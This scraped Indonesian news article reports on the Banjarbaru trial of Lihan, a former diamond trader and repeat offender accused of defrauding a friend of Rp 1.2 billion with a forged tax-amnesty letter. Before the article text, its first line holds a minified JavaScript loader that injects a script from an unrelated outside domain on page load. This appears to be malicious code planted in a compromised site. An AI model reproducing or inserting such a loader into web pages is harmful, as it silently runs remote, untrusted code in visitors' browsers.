(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Proses penegakan hukum kasus penipuan uang sebesar Rp 1,2 miliar yang dilakukan oleh Lihan, telah memasuki babak akhir. Bekas pengusaha intan asal Cindai Alus tersebut telah menjalani sejumlah agenda sidang yang digelar di Pengadilan Negeri Banjarbaru.
Kepala Seksi (Kasi) Pidana Umum (Pidum) Kejaksaan Negeri Banjarbaru Budi Mukhlis mengatakan sidang perdana Lihan telah digelar pada 10 Desember 2019. Setelah beberapa kali menjalani persidangan, pada Rabu (8/1) siang ini, sidang kembali dilanjutkan dengan agen pembacaan tuntutan kepada Lihan.
“Sidang hari ini beragendakan pembacaan tuntutan. Dari hasil agenda hari ini, Jaksa Penutut Umum (JPU) masih akan mempertimbangkan kembali hal-hal memperberat dan memperingan untuk menjatuhkan tuntutan hukuman pidana bagi terdakwa,†katanya.
Ditanya terkait tuntutan hukuman kepada Lihan, Budi menegaskan pihaknya akan memberikan hukuman yang setimpal. Alasannya, Lihan merupakan residivis dan telah banyak masyarakat yang dirugikan oleh terpidana pencucian uang tahun 2010 tersebut.
“Intinya, hukuman yang kita berikan tidak akan minimum. Tapi, kalau ditanya tuntutannya masih kita rahasiakan. karena belum dibacakan dalam persidangan. Belum bisa disebutkan berapa tuntutannya,†lanjutnya.
Perlu diketahui, Lihan diringkus Polsek Banjarbaru Kota lantaran diduga menipu temannya sendiri H Hasyim sebesar Rp 1,2 miliar. Penangkapan Lihan terjadi di Perumahan Green Valley Residence, Jatihandap, Mandala Jati Kota Bandung, Jabar, pada pertengahan September lalu.
Modus Lihan untuk mengelabui Hasyim, yakni pembayaran tax amnesty atau pengampunan pajak, demi memuluskan uang Lihan yang ada di luar negeri sebesar Rp 50 miliar.
Untuk membuat H Hasyim lebih percaya, Lihan kemudian mengirimkan bukti surat tax amnesty yang dimaksud. Dengan tanda bukti seperti dikeluarkan oleh Kantor Pajak Pratama Serpong Kota Tangerang Selatan, Provinsi Banten.
Belakangan setelah dilakukan penyelidikan ternyata surat tax amnesty tersebut diduga palsu. Usai mendapat laporan tersebut Polres Banjarbaru dan Polsek Banjarbaru Kota langsung melakukan pemeriksaan ke Kantor Pajak Pratama Serpong, Kanwil Dirjen Pajak Banten. Dari sini dibuat kesimpulan bahwa surat tax amnesty yang diserahkan oleh Lihan kepada H Hasyim tidak terdaftar di kantor pajak tersebut.
Pun, saat berkas perkaranya telah dinyatakan lengkap (P21) dan dipindakah ke Lapas Banjarbaru, Lihan menjadi artis di dalam Lapas.
Sosok Lihan tidaklah asing bagi masyarakat. Sebab, rekam jejak kriminal Lihan sendiri pada tahun 2010 telah menghebohkan tanah air khususnya Kalsel. Mantan pengusaha intan asal Cindai Alus, Martapura, Kalimantan Selatan, ini dihukum berat atas kasus investasi bodong -money game- pada 2010 silam. Uang yang diduga dihimpun Lihan mencapai triliunan berasal dari dana nasabah yang jumlahnya ribuan orang.
Ribuan masyarakat yang menginvestasikan uangnya kepada Lihan menjadi korban saat terkuaknya kasus tersebut. Maka tidak heran, masyarakat termasuk napi sekalipun dibuat geram saat Lihan kembali berulah dengan melakukan penipuan uang Rp 1,2 miliar pada tahun 2019. (Rico)
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
This website uses cookies.